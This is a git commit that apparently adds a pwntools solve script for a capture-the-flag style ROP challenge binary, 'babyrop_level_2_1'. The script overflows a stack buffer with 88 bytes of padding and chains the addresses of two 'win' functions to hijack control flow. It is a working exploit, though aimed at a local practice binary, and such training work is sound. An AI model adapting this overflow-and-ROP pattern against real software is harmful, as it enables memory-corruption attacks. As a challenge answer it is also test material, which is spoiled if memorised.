solve script

This commit is contained in:
jc
2025-08-05 18:19:59 +03:00
parent ec2cdb7b35
commit d087cb7430
+17
View File
@@ -0,0 +1,17 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./babyrop_level_2_1", checksec=False)
r = process()
# funcs
s = lambda a: r.sendline(a)
# buf
buf = b"A"*88
buf += p64(target.sym.win_stage_1)
buf += p64(target.sym.win_stage_2)
s(buf)
r.interactive()